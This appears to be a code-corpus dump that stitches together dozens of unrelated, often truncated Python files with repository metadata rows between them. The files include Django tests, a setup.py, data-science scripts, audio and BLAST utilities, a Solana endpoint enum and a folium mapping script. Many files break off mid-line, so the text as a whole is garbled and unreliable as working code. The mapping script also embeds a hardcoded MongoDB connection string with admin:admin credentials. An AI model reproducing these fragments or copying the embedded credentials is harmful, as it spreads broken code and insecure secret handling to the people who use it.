] | 39 | 2018-03-21T16:57:12.000Z | 2019-05-06T17:30:23.000Z | objectModel/Python/tests/persistence/cdmfolder/data_partition/test_data_partition.py | Microsoft/CDM | 7ea59264d661356ca1b44c31a352753928d08b5f | [
"CC-BY-4.0",
"MIT"
] | 75 | 2018-03-09T20:33:13.000Z | 2019-05-05T06:55:43.000Z | # Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
import os
import unittest
from cdm.utilities.logging import logger
from cdm.enums import CdmObjectType, CdmStatusLevel, CdmIncrementalPartitionType
from cdm.obje... | 56.454902 | 221 | 0.727077 | 13,675 | 0.949785 | 0 | 0 | 13,519 | 0.93895 | 13,423 | 0.932282 | 3,632 | 0.252257 |
9fd1f014c5d5b7866e50185659805f63bd40ebd9 | 6,038 | py | Python | setup.py | andreatramacere/jetset | 4b7859622db9713b6ee243e2c12ec81321b372bf | [
"BSD-3-Clause"
] | 16 | 2019-02-11T06:58:43.000Z | 2021-12-28T13:00:35.000Z | setup.py | andreatramacere/jetset | 4b7859622db9713b6ee243e2c12ec81321b372bf | [
"BSD-3-Clause"
] | 14 | 2019-04-14T14:49:55.000Z | 2021-12-27T04:18:24.000Z | setup.py | andreatramacere/jetset | 4b7859622db9713b6ee243e2c12ec81321b372bf | [
"BSD-3-Clause"
] | 10 | 2019-02-25T14:53:28.000Z | 2022-03-02T08:49:19.000Z | #!/usr/bin/env python
from __future__ import division, absolute_import, print_function
__author__ = 'andrea tramacere'
from setuptools import setup, find_packages,Extension
# from setuptools.command.install import install
# from distutils.extension import Extension
# import distutils.command.install as orig
from d... | 34.901734 | 176 | 0.48791 | 1,469 | 0.243292 | 0 | 0 | 0 | 0 | 0 | 0 | 3,190 | 0.528321 |
9fd494efb313bbd651da7b57c11d4c1658a52fc3 | 1,610 | py | Python | example/torch_classifier.py | KevinEloff/deep-chain-apps | 0952845e93f0c0592f04275fe99b122ff831901f | [
"Apache-1.1"
] | null | null | null | example/torch_classifier.py | KevinEloff/deep-chain-apps | 0952845e93f0c0592f04275fe99b122ff831901f | [
"Apache-1.1"
] | null | null | null | example/torch_classifier.py | KevinEloff/deep-chain-apps | 0952845e93f0c0592f04275fe99b122ff831901f | [
"Apache-1.1"
] | null | null | null | """
Module that provide a classifier template to train a model on embeddings.
With use the pathogen vs human dataset as an example. The embedding of 100k proteins come
from the protBert model.
The model is built with pytorch_ligthning, a wrapper on top of
pytorch (similar to keras with tensorflow)
Feel feel to build ... | 36.590909 | 90 | 0.775776 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 856 | 0.531677 |
9fd54ac2fec1187dcd8824c5cc8a001bad343192 | 5,589 | py | Python | towavfile.py | streamsoftdev/audiomods | 0e3d27fcd9af0a0f6a9de512112425e093f82dda | [
"Apache-2.0"
] | null | null | null | towavfile.py | streamsoftdev/audiomods | 0e3d27fcd9af0a0f6a9de512112425e093f82dda | [
"Apache-2.0"
] | null | null | null | towavfile.py | streamsoftdev/audiomods | 0e3d27fcd9af0a0f6a9de512112425e093f82dda | [
"Apache-2.0"
] | null | null | null | #Copyright 2022 Nathan Harwood
#
#Licensed under the Apache License, Version 2.0 (the "License");
#you may not use this file except in compliance with the License.
#You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#Unless required by applicable law or agreed to in writing, sof... | 33.668675 | 113 | 0.580247 | 4,753 | 0.85042 | 0 | 0 | 4,763 | 0.85221 | 74 | 0.01324 | 1,083 | 0.193773 |
9fd5c810c4ce10644e6de28ce2355f1bd5e61c6a | 6,857 | py | Python | test/blast/sample_data.py | UdoGi/dark-matter | 3d49e89fa5e81f83144119f6216c5774176d203b | [
"MIT"
] | 10 | 2016-03-09T09:43:14.000Z | 2021-04-03T21:46:12.000Z | test/blast/sample_data.py | terrycojones/dark-matter | 67d16f870db6b4239e17e542bc6e3f072dc29c75 | [
"MIT"
] | 332 | 2015-01-07T12:37:30.000Z | 2022-01-20T15:48:11.000Z | test/blast/sample_data.py | terrycojones/dark-matter | 67d16f870db6b4239e17e542bc6e3f072dc29c75 | [
"MIT"
] | 4 | 2016-03-08T14:56:39.000Z | 2021-01-27T08:11:27.000Z | # Sample BLAST parameters.
PARAMS = {
'application': 'BLASTN',
'blast_cutoff': [
None,
None
],
'database': 'manx-shearwater',
'database_length': 17465129,
'database_letters': None,
'database_name': [],
'database_sequences': 70016,
'date': '',
'dropoff_1st_pass': [... | 27.538153 | 70 | 0.392737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,768 | 0.403675 |
9fd7af8273e6b7e9744ade794d211dd5ee462f86 | 420 | py | Python | pyrigate/units/parse.py | pyrigate/pyrigate | 366e33ef46ebc7928cf35f2d51ed0855c59d1a68 | [
"MIT"
] | 1 | 2018-02-03T23:22:20.000Z | 2018-02-03T23:22:20.000Z | pyrigate/units/parse.py | pyrigate/pyrigate | 366e33ef46ebc7928cf35f2d51ed0855c59d1a68 | [
"MIT"
] | 1 | 2018-05-12T13:55:01.000Z | 2018-05-13T00:16:23.000Z | pyrigate/units/parse.py | pyrigate/pyrigate | 366e33ef46ebc7928cf35f2d51ed0855c59d1a68 | [
"MIT"
] | 1 | 2019-10-18T12:23:02.000Z | 2019-10-18T12:23:02.000Z | # -*- coding: utf-8 -*-
"""."""
import re
_UNIT_STRING_REGEX = r'^([0-9\.]+)(ml|cl|dl|l)$'
def parse_unit(unit_string):
"""."""
lower_unit_string = unit_string.lower()
match = re.match(_UNIT_STRING_REGEX, lower_unit_string)
if match:
try:
return float(match.group(1)), match.gr... | 18.26087 | 59 | 0.57381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 64 | 0.152381 |
9fd914093a9d2ec4b79940394bc875e521269c52 | 6,659 | py | Python | src/mhealth/data_analysis_tests/cross_correlator_test.py | hirsch-lab/mhealth | ad4287483cee206c7b8ff6216293f19d71296129 | [
"MIT"
] | 2 | 2021-01-05T10:53:57.000Z | 2021-02-26T09:15:14.000Z | src/mhealth/data_analysis_tests/cross_correlator_test.py | hirsch-lab/mhealth | ad4287483cee206c7b8ff6216293f19d71296129 | [
"MIT"
] | 3 | 2020-12-15T11:29:25.000Z | 2021-05-07T09:18:43.000Z | src/mhealth/data_analysis_tests/cross_correlator_test.py | hirsch-lab/mhealth | ad4287483cee206c7b8ff6216293f19d71296129 | [
"MIT"
] | null | null | null | import os
import glob
import unittest
from ..utils import testing
from ..utils import everion_keys
from ..utils.file_helper import FileHelper
from ..utils.data_aggregator import Normalization
from ..visualization.vis_properties import VisProperties
from ..data_analysis.cross_correlator import CrossCorrelator
_MHEALTH... | 44.691275 | 78 | 0.565851 | 6,177 | 0.927617 | 0 | 0 | 2,906 | 0.436402 | 0 | 0 | 291 | 0.0437 |
9fd91ec0b1f55cd338e90af15b11bcbae0dc4915 | 1,471 | py | Python | neurgoo/misc/plot_utils.py | NISH1001/neurgoo | 83b2f4928d362b2b3c2f80ff6afe4c4768d6cc74 | [
"MIT"
] | 2 | 2022-03-02T11:59:19.000Z | 2022-03-18T17:59:28.000Z | neurgoo/misc/plot_utils.py | NISH1001/neurgoo | 83b2f4928d362b2b3c2f80ff6afe4c4768d6cc74 | [
"MIT"
] | 1 | 2022-03-03T14:07:19.000Z | 2022-03-03T14:07:19.000Z | neurgoo/misc/plot_utils.py | NISH1001/neurgoo | 83b2f4928d362b2b3c2f80ff6afe4c4768d6cc74 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from typing import Dict, List
try:
import matplotlib.pyplot as plt
MATPLOTLIB = True
except:
MATPLOTLIB = False
from loguru import logger
from .eval import EvalData
def plot_losses(losses):
if not MATPLOTLIB:
logger.error("Maplotlib not installed. Halting the plot p... | 23.349206 | 77 | 0.650578 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 317 | 0.2155 |
9fdabb9fe3ddfe1efb0455a952de16d9ff31f05a | 3,277 | py | Python | LPSelectiveSearch.py | ksdsouza/license-plate-detector | 900a032768d9c623b7ecb1ec7abd07651fda2b16 | [
"MIT"
] | null | null | null | LPSelectiveSearch.py | ksdsouza/license-plate-detector | 900a032768d9c623b7ecb1ec7abd07651fda2b16 | [
"MIT"
] | null | null | null | LPSelectiveSearch.py | ksdsouza/license-plate-detector | 900a032768d9c623b7ecb1ec7abd07651fda2b16 | [
"MIT"
] | null | null | null | import itertools
import os
import sys
import cv2
import numpy as np
from SelectiveSearch import SelectiveSearch
images_path = "Images"
annotations = "Annotations"
cv2.setUseOptimized(True)
selective_search = SelectiveSearch()
train_images = []
train_labels = []
SS_IMG_SIZE = (224, 224)
# chunk = int(sys.argv[1])
... | 30.06422 | 97 | 0.523039 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,054 | 0.626793 |
9fdadafb759d17ded7ccd299bdbfcf9faeff04b7 | 66 | py | Python | lang/py/cookbook/v2/source/cb2_1_18_exm_3.py | ch1huizong/learning | 632267634a9fd84a5f5116de09ff1e2681a6cc85 | [
"MIT"
] | null | null | null | lang/py/cookbook/v2/source/cb2_1_18_exm_3.py | ch1huizong/learning | 632267634a9fd84a5f5116de09ff1e2681a6cc85 | [
"MIT"
] | null | null | null | lang/py/cookbook/v2/source/cb2_1_18_exm_3.py | ch1huizong/learning | 632267634a9fd84a5f5116de09ff1e2681a6cc85 | [
"MIT"
] | null | null | null | rx = re.compile(r'\b%s\b' % r'\b|\b'.join(map(re.escape, adict)))
| 33 | 65 | 0.575758 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 17 | 0.257576 |
9fddbda4c3c7b498a0499af95d1e10c2e4bd8c81 | 233 | py | Python | projects/admin.py | kylef-archive/django-projects | 306043b7aea7a170adc70cb78844e039efc161d4 | [
"BSD-2-Clause"
] | 2 | 2015-02-15T19:01:29.000Z | 2015-11-08T13:25:14.000Z | projects/admin.py | kylef/django-projects | 306043b7aea7a170adc70cb78844e039efc161d4 | [
"BSD-2-Clause"
] | null | null | null | projects/admin.py | kylef/django-projects | 306043b7aea7a170adc70cb78844e039efc161d4 | [
"BSD-2-Clause"
] | 1 | 2021-08-02T19:08:29.000Z | 2021-08-02T19:08:29.000Z | from django.contrib import admin
from projects.models import Project
class ProjectAdmin(admin.ModelAdmin):
prepopulated_fields = {'slug': ['title']}
list_display = ('title', 'git')
admin.site.register(Project, ProjectAdmin) | 29.125 | 45 | 0.751073 | 119 | 0.51073 | 0 | 0 | 0 | 0 | 0 | 0 | 25 | 0.107296 |
9fde09067036bce742f20360db8b7e67c431adac | 3,636 | py | Python | core/tests/test_office.py | cjmash/art-backend | fb1dfd69cca9cda1d8714bd7066c3920d1a97312 | [
"MIT"
] | null | null | null | core/tests/test_office.py | cjmash/art-backend | fb1dfd69cca9cda1d8714bd7066c3920d1a97312 | [
"MIT"
] | null | null | null | core/tests/test_office.py | cjmash/art-backend | fb1dfd69cca9cda1d8714bd7066c3920d1a97312 | [
"MIT"
] | null | null | null | from django.contrib.auth import get_user_model
from django.db import transaction
from rest_framework.exceptions import ValidationError
from ..models import OfficeBlock, OfficeFloor, OfficeFloorSection
from core.tests import CoreBaseTestCase
User = get_user_model()
class OfficeBlockModelTest(CoreBaseTestCase):
... | 37.484536 | 73 | 0.668592 | 3,365 | 0.925468 | 0 | 0 | 0 | 0 | 0 | 0 | 377 | 0.103685 |
9fdf686d8f768389a99935e8b0188491d6cb098b | 2,481 | py | Python | tests/functional/collection/test_collection_show.py | sirosen/temp-cli-test | 416fd3fea17b4c7c2cf35d6ccde63cb5719a1af6 | [
"Apache-2.0"
] | 47 | 2016-04-21T19:51:17.000Z | 2022-02-25T14:13:30.000Z | tests/functional/collection/test_collection_show.py | sirosen/temp-cli-test | 416fd3fea17b4c7c2cf35d6ccde63cb5719a1af6 | [
"Apache-2.0"
] | 421 | 2016-04-20T18:45:24.000Z | 2022-03-14T14:50:41.000Z | tests/functional/collection/test_collection_show.py | sirosen/temp-cli-test | 416fd3fea17b4c7c2cf35d6ccde63cb5719a1af6 | [
"Apache-2.0"
] | 20 | 2016-09-10T20:25:27.000Z | 2021-10-06T16:02:47.000Z | import pytest
def test_collection_show(run_line, load_api_fixtures, add_gcs_login):
data = load_api_fixtures("collection_operations.yaml")
cid = data["metadata"]["mapped_collection_id"]
username = data["metadata"]["username"]
epid = data["metadata"]["endpoint_id"]
add_gcs_login(epid)
_result,... | 36.485294 | 132 | 0.639258 | 0 | 0 | 0 | 0 | 732 | 0.295042 | 0 | 0 | 1,126 | 0.453849 |
9fdfc62d17a4273e27c2f11b9b40558a4ec8fe41 | 2,044 | py | Python | job.py | mapledyne/ihunttools | 28d4f7dbf61b6e3f34c9e1cdfdac2e9afec177d8 | [
"MIT"
] | null | null | null | job.py | mapledyne/ihunttools | 28d4f7dbf61b6e3f34c9e1cdfdac2e9afec177d8 | [
"MIT"
] | 2 | 2021-09-08T02:16:00.000Z | 2022-01-13T02:57:26.000Z | job.py | mapledyne/ihunttools | 28d4f7dbf61b6e3f34c9e1cdfdac2e9afec177d8 | [
"MIT"
] | null | null | null | import argparse
import random
import ihuntapp
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Build an #iHunt job app page.')
parser.add_argument('--name', "-n",
default="Unnamed job", help='Name of the job')
parser.add_argument('--description', "-d",
... | 44.434783 | 99 | 0.626223 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 514 | 0.251468 |
9fe154537630b5423fecebdaa0e5bc8b96aff771 | 4,945 | py | Python | category_import.py | iankigen/art-backend | e46f8e1a530ae56b6a236af4ff686ca4e0dd6630 | [
"MIT"
] | null | null | null | category_import.py | iankigen/art-backend | e46f8e1a530ae56b6a236af4ff686ca4e0dd6630 | [
"MIT"
] | null | null | null | category_import.py | iankigen/art-backend | e46f8e1a530ae56b6a236af4ff686ca4e0dd6630 | [
"MIT"
] | null | null | null | import sys
import os
import csv
from tqdm import tqdm
import django
from import_util import display_inserted, display_skipped
project_dir = os.path.dirname(os.path.abspath(__file__))
sys.path.append(project_dir)
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings")
django.setup()
from core.models.asset import ... | 44.151786 | 79 | 0.394944 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 489 | 0.098888 |
9fe1fc1239cc234d72923d2663fd719390f1395d | 454 | py | Python | epochbot/utils.py | jaloo555/solana-easy-py | 8e28b8de52fbe4ee0b8e94a0f9c728114fc91728 | [
"MIT"
] | 4 | 2021-09-10T19:20:42.000Z | 2022-02-12T00:27:40.000Z | epochbot/utils.py | jaloo555/solana-easy-py | 8e28b8de52fbe4ee0b8e94a0f9c728114fc91728 | [
"MIT"
] | null | null | null | epochbot/utils.py | jaloo555/solana-easy-py | 8e28b8de52fbe4ee0b8e94a0f9c728114fc91728 | [
"MIT"
] | 1 | 2021-11-08T15:32:46.000Z | 2021-11-08T15:32:46.000Z | def enum(*sequential, **named):
enums = dict(zip(sequential, range(len(sequential))), **named)
return type('Enum', (), enums)
ENDPOINT_URLS_ENUM = enum(
MAIN='https://api.mainnet-beta.solana.com',
DEV='https://api.devnet.solana.com',
TEST='https://api.testnet.solana.com',
)
ENDPOINT_URLS = {
"... | 30.266667 | 66 | 0.645374 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 223 | 0.491189 |
9fe207c6dcc8198ff87d2e16175a87d21e6112ea | 812 | py | Python | FrontEnd/mapa_pontos.py | JessicaIsri/WebBot | e9ed911c0306f5e362b577e244e50073336480ea | [
"bzip2-1.0.6"
] | null | null | null | FrontEnd/mapa_pontos.py | JessicaIsri/WebBot | e9ed911c0306f5e362b577e244e50073336480ea | [
"bzip2-1.0.6"
] | 1 | 2021-11-13T10:12:49.000Z | 2021-11-16T12:17:01.000Z | FrontEnd/mapa_pontos.py | JessicaIsri/WebBot | e9ed911c0306f5e362b577e244e50073336480ea | [
"bzip2-1.0.6"
] | null | null | null | import pymongo
import folium
from pymongo import MongoClient
db = MongoClient('mongodb+srv://admin:admin@cluster0-vuh1j.azure.mongodb.net/test?retryWrites=true&w=majority')
db = db.get_database('BD_EMPRESAS')
collection = db.empresas
cnpj = []
latitude = []
longitude = []
qtd_range = []
endereco = []
cnpj = db.... | 24.606061 | 111 | 0.730296 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 218 | 0.268473 |
9fe282030a02b4055f9395a841b3fabbcbf1b05f | 835 | py | Python | tests/test_BG_IO.py | GeorgRamer/anasys-python-tools | f4fbb83b7df8f6b2fefac3fb5e478076fcea7cfa | [
"MIT"
] | null | null | null | tests/test_BG_IO.py | GeorgRamer/anasys-python-tools | f4fbb83b7df8f6b2fefac3fb5e478076fcea7cfa | [
"MIT"
] | null | null | null | tests/test_BG_IO.py | GeorgRamer/anasys-python-tools | f4fbb83b7df8f6b2fefac3fb5e478076fcea7cfa | [
"MIT"
] | null | null | null |
import anasyspythontools as apt
import pytest
import glob
import os
TESTFOLDER = os.path.join(os.path.dirname(__file__),"test data")
@pytest.mark.parametrize("filename", glob.glob(os.path.join(TESTFOLDER, "*.irb")))
class TestBG:
def setup_method(self, filename):
pass
def teardown_metho... | 23.194444 | 83 | 0.646707 | 611 | 0.731737 | 0 | 0 | 695 | 0.832335 | 0 | 0 | 40 | 0.047904 |
9fe2e87d337b6c88bd8c4467d12c5b714809bf62 | 1,015 | py | Python | afpy/yml.py | fordaj/afpy | 4fca208a186d276a28e7911210cedb02033237b0 | [
"MIT"
] | null | null | null | afpy/yml.py | fordaj/afpy | 4fca208a186d276a28e7911210cedb02033237b0 | [
"MIT"
] | null | null | null | afpy/yml.py | fordaj/afpy | 4fca208a186d276a28e7911210cedb02033237b0 | [
"MIT"
] | null | null | null |
import yaml
from yaml import Loader, Dumper
from .pathify import *
class yml:
def __init__(self):
pass
def dump(self,
data,
path : str
):
'''Dumps incoming python data into a YAML file at `path`.
-----
* `d... | 30.757576 | 86 | 0.487685 | 945 | 0.931034 | 0 | 0 | 0 | 0 | 0 | 0 | 475 | 0.46798 |
9fe326bc9f4e12d04244fe6f4b5e92ea0f66a315 | 88 | py | Python | Algorithm/__init__.py | DSC-Bennett-University/AI-ML-Starter | 5dc411c686a703c37eaf7e88db184cb8972ad2d1 | [
"MIT"
] | 1 | 2021-10-01T05:54:02.000Z | 2021-10-01T05:54:02.000Z | Algorithm/__init__.py | DSC-Bennett-University/AI-ML-Starter | 5dc411c686a703c37eaf7e88db184cb8972ad2d1 | [
"MIT"
] | 7 | 2021-09-21T11:38:50.000Z | 2021-10-06T10:28:11.000Z | Algorithm/__init__.py | DSC-Bennett-University/AI-ML-Starter | 5dc411c686a703c37eaf7e88db184cb8972ad2d1 | [
"MIT"
] | 4 | 2021-09-21T12:08:05.000Z | 2021-10-01T05:54:08.000Z | from .template import template
from .tools import tools
from .LinearReg import LinearReg | 29.333333 | 32 | 0.840909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
9fe3746b0ca2a17a4da60916603ceccce096325e | 6,994 | py | Python | hypernets/tests/searchers/evolution_test.py | Enpen/Hypernets | 5fbf01412ffaef310855d98f52f8cc169e96246b | [
"Apache-2.0"
] | 1,080 | 2020-06-22T07:44:22.000Z | 2022-03-22T07:46:48.000Z | hypernets/tests/searchers/evolution_test.py | Enpen/Hypernets | 5fbf01412ffaef310855d98f52f8cc169e96246b | [
"Apache-2.0"
] | 24 | 2020-08-06T02:06:37.000Z | 2022-03-31T03:34:35.000Z | hypernets/tests/searchers/evolution_test.py | Enpen/Hypernets | 5fbf01412ffaef310855d98f52f8cc169e96246b | [
"Apache-2.0"
] | 170 | 2020-08-14T08:39:18.000Z | 2022-03-23T12:58:17.000Z | # -*- coding:utf-8 -*-
"""
"""
import numpy as np
from hypernets.core.ops import Identity
from hypernets.core.search_space import HyperSpace, Int, Real, Choice, Bool
from hypernets.core.searcher import OptimizeDirection
from hypernets.searchers.evolution_searcher import Population, EvolutionSearcher
def get_space()... | 39.965714 | 120 | 0.570489 | 6,358 | 0.909065 | 0 | 0 | 0 | 0 | 0 | 0 | 1,623 | 0.232056 |
9fe3efc076ac50b9a73eb652fb87630b07aba672 | 286 | py | Python | backend/api/api.py | iamdempa/react-flask-postgres-boilerplate-with-docker | f1d74dfa08777ff2aeef3ed2620087855d6e30c3 | [
"Apache-2.0"
] | 67 | 2018-10-02T04:04:15.000Z | 2022-03-30T17:43:56.000Z | backend/api/api.py | iamdempa/react-flask-postgres-boilerplate-with-docker | f1d74dfa08777ff2aeef3ed2620087855d6e30c3 | [
"Apache-2.0"
] | null | null | null | backend/api/api.py | iamdempa/react-flask-postgres-boilerplate-with-docker | f1d74dfa08777ff2aeef3ed2620087855d6e30c3 | [
"Apache-2.0"
] | 30 | 2018-11-21T22:55:08.000Z | 2022-03-01T16:55:53.000Z | from flask import jsonify
from flask_restful import Resource, Api
from .models import Player as PlayerModel, to_dict
api = Api()
class Player(Resource):
def get(self):
return jsonify([to_dict(player) for player in PlayerModel.query.all()])
api.add_resource(Player, '/')
| 22 | 79 | 0.734266 | 122 | 0.426573 | 0 | 0 | 0 | 0 | 0 | 0 | 3 | 0.01049 |
9fe5a28b405ba0411a5720a42bbe49f07b08a96f | 8,697 | py | Python | core/data/collators.py | manzar96/st7 | 8dac6fa3497e5a3594766a232a9e8436120e9563 | [
"MIT"
] | null | null | null | core/data/collators.py | manzar96/st7 | 8dac6fa3497e5a3594766a232a9e8436120e9563 | [
"MIT"
] | null | null | null | core/data/collators.py | manzar96/st7 | 8dac6fa3497e5a3594766a232a9e8436120e9563 | [
"MIT"
] | null | null | null | import torch
from torch.nn.utils.rnn import pad_sequence, pack_padded_sequence
from core.utils.masks import pad_mask, subsequent_mask
from core.utils.tensors import mktensor
class Task71aCollator(object):
def __init__(self, pad_indx=0, device='cpu'):
self.pad_indx = pad_indx
self.device = device
... | 33.321839 | 77 | 0.609176 | 8,493 | 0.976544 | 0 | 0 | 0 | 0 | 0 | 0 | 450 | 0.051742 |
9fe62e0a759bb38c6001a97c2d2f6695ebbb34cb | 22,748 | py | Python | tests/filesystem_tests.py | d-kiss/fakeos | 88dff667830efe10841df8b3a5f33a581bd94b69 | [
"MIT"
] | 1 | 2017-10-09T10:59:43.000Z | 2017-10-09T10:59:43.000Z | tests/filesystem_tests.py | d-kiss/fakeos | 88dff667830efe10841df8b3a5f33a581bd94b69 | [
"MIT"
] | 5 | 2017-10-06T17:33:37.000Z | 2017-10-13T16:31:34.000Z | tests/filesystem_tests.py | rinslow/fakeos | 88dff667830efe10841df8b3a5f33a581bd94b69 | [
"MIT"
] | null | null | null | import operator
import os as _os
from pathlib import Path
from string import ascii_letters
from itertools import chain, permutations
from functools import reduce
from fakeos import FakeOS
from hypothesis import given, assume, example
from hypothesis.strategies import text, sets, integers, lists, just
from filesyste... | 33.403818 | 86 | 0.583656 | 22,162 | 0.974239 | 0 | 0 | 14,293 | 0.628319 | 0 | 0 | 874 | 0.038421 |
9fe6a6466ba62d142e4c8d8e39066315eacdcdb4 | 6,129 | py | Python | ceed/utils.py | matham/ceed | 5d32a99a33325b36dbe74d8b0a22e63abc92aab7 | [
"MIT"
] | 1 | 2020-03-02T22:26:44.000Z | 2020-03-02T22:26:44.000Z | ceed/utils.py | matham/ceed | 5d32a99a33325b36dbe74d8b0a22e63abc92aab7 | [
"MIT"
] | null | null | null | ceed/utils.py | matham/ceed | 5d32a99a33325b36dbe74d8b0a22e63abc92aab7 | [
"MIT"
] | 2 | 2020-01-13T19:42:16.000Z | 2020-01-27T14:58:09.000Z | """Utilities
===================
Various tools used in :mod:`ceed`.
"""
import re
import pathlib
from collections import deque
from typing import List, Tuple, Any, Union
__all__ = (
'fix_name', 'update_key_if_other_key', 'collapse_list_to_counts',
'get_plugin_modules', 'CeedWithID',
)
_name_pa... | 32.775401 | 81 | 0.565019 | 1,065 | 0.173764 | 0 | 0 | 0 | 0 | 0 | 0 | 3,146 | 0.513297 |
9fe8653449fbc6e6fa94b10d1d0a857bd0455ebf | 2,341 | py | Python | gumroad_clone/users/views.py | AlexanderTCHK/gumroad-clone | 39654243e581b918569772e410196557f71f6591 | [
"MIT"
] | 1 | 2022-01-22T13:43:30.000Z | 2022-01-22T13:43:30.000Z | gumroad_clone/users/views.py | AlexanderTCHK/gumroad-clone | 39654243e581b918569772e410196557f71f6591 | [
"MIT"
] | null | null | null | gumroad_clone/users/views.py | AlexanderTCHK/gumroad-clone | 39654243e581b918569772e410196557f71f6591 | [
"MIT"
] | null | null | null | import stripe
from django.conf import settings
from django.contrib.auth import get_user_model
from django.contrib.auth.mixins import LoginRequiredMixin
from django.contrib.messages.views import SuccessMessageMixin
from django.urls import reverse
from django.utils.translation import gettext_lazy as _
from django.views.g... | 29.2625 | 83 | 0.720632 | 1,683 | 0.718924 | 0 | 0 | 0 | 0 | 0 | 0 | 271 | 0.115762 |
9fe92dc5882b9ab766bfa49539001ca33aa51f84 | 510 | py | Python | chapter1/quest1_4.py | mag6367/Coding_the_Coding_Interview_Python_Solutions | 1d97d18d3d9732c25626e20cb3561ce4241b16e8 | [
"MIT"
] | 1 | 2017-04-28T13:52:13.000Z | 2017-04-28T13:52:13.000Z | chapter1/quest1_4.py | mag6367/Cracking_the_Coding_Interview_Python_Solutions | 1d97d18d3d9732c25626e20cb3561ce4241b16e8 | [
"MIT"
] | null | null | null | chapter1/quest1_4.py | mag6367/Cracking_the_Coding_Interview_Python_Solutions | 1d97d18d3d9732c25626e20cb3561ce4241b16e8 | [
"MIT"
] | null | null | null | # question 1.4 from cracking the code interview 4th ed.
'''
Write a method to decide if two strings are anagrams or not.
'''
# if we sort the two string, they should be the same
def areAnagram (str1, str2):
# check is strings are valid
if not isinstance(str1, str) or not isinstance(str2, str):
return False
# fir... | 24.285714 | 60 | 0.727451 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 315 | 0.617647 |
9febad62a52cd187ba14dbd7516dbb4c9c77a4fc | 2,516 | py | Python | firmware/measure_magnitude.py | mfkiwl/OpenXcvr | 9bea6efd03cd246f16982f0fadafed684ac5ce1c | [
"MIT"
] | 14 | 2020-02-16T15:36:31.000Z | 2022-03-27T02:24:40.000Z | firmware/measure_magnitude.py | mfkiwl/OpenXcvr | 9bea6efd03cd246f16982f0fadafed684ac5ce1c | [
"MIT"
] | 1 | 2020-11-23T16:16:33.000Z | 2020-11-23T16:16:33.000Z | firmware/measure_magnitude.py | mfkiwl/OpenXcvr | 9bea6efd03cd246f16982f0fadafed684ac5ce1c | [
"MIT"
] | 4 | 2021-03-29T16:55:03.000Z | 2022-01-23T16:43:59.000Z | from baremetal import *
from baremetal.signed import number_of_bits_needed
from settings import Settings
from math import log, pi
from matplotlib import pyplot as plt
import numpy as np
import sys
from math import log, ceil
from numpy import log10
#settings for 100KS/s
# hang attack decay
# fast ... | 30.313253 | 131 | 0.65779 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 423 | 0.168124 |
9fec2b87298b7ce1d8fa49d924c18e361c3fbd3b | 737 | py | Python | chpt6/Palindrome.py | GDG-Buea/learn-python | 9dfe8caa4b57489cf4249bf7e64856062a0b93c2 | [
"Apache-2.0"
] | null | null | null | chpt6/Palindrome.py | GDG-Buea/learn-python | 9dfe8caa4b57489cf4249bf7e64856062a0b93c2 | [
"Apache-2.0"
] | 2 | 2018-05-21T09:39:00.000Z | 2018-05-27T15:59:15.000Z | chpt6/Palindrome.py | GDG-Buea/learn-python | 9dfe8caa4b57489cf4249bf7e64856062a0b93c2 | [
"Apache-2.0"
] | 2 | 2018-05-19T14:59:56.000Z | 2018-05-19T15:25:48.000Z |
# This program prompts a user to enter an integer and reports whether the integer is a palindrome or not
# A number is a palindrome if its reversal is the same as itself.
def reverse(number):
position1 = number % 10
remainder1 = number // 10
position2 = remainder1 % 10
remainder2 = remainder1 // ... | 23.03125 | 104 | 0.679783 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 276 | 0.374491 |
9fec53592de30b9286e20a972b9d6a2e491fec66 | 89 | py | Python | refugee/apps.py | poiedk/refugge_app | 95299005a3fac1ae92cf700d8d52e884c1d17033 | [
"MIT"
] | 1 | 2020-06-07T15:48:34.000Z | 2020-06-07T15:48:34.000Z | refugee/apps.py | poiedk/refuggeapp | 95299005a3fac1ae92cf700d8d52e884c1d17033 | [
"MIT"
] | 1 | 2020-06-05T20:15:54.000Z | 2020-06-05T20:15:54.000Z | refugee/apps.py | poiedk/refuggeapp | 95299005a3fac1ae92cf700d8d52e884c1d17033 | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class RefugeeConfig(AppConfig):
name = 'refugee'
| 14.833333 | 33 | 0.752809 | 52 | 0.58427 | 0 | 0 | 0 | 0 | 0 | 0 | 9 | 0.101124 |
9fedd39a8f50939e9c4f94bb47bef7f75ae894a9 | 8,113 | py | Python | mozi/layers/recurrent.py | hycis/Mozi | 7f2eccbe3169c10d231e07edf8bc650039fa4eb2 | [
"MIT"
] | 122 | 2015-07-24T09:29:06.000Z | 2022-02-22T02:51:00.000Z | mozi/layers/recurrent.py | hycis/Mozi | 7f2eccbe3169c10d231e07edf8bc650039fa4eb2 | [
"MIT"
] | 4 | 2015-07-27T04:37:11.000Z | 2020-04-04T08:05:00.000Z | mozi/layers/recurrent.py | hycis/Mozi | 7f2eccbe3169c10d231e07edf8bc650039fa4eb2 | [
"MIT"
] | 27 | 2015-07-24T12:59:35.000Z | 2020-04-14T00:21:43.000Z |
from mozi.utils.theano_utils import shared_zeros, alloc_zeros_matrix, shared_ones
from mozi.layers.template import Template
from mozi.weight_init import OrthogonalWeight, GaussianWeight, Identity
import theano.tensor as T
import theano
class LSTM(Template):
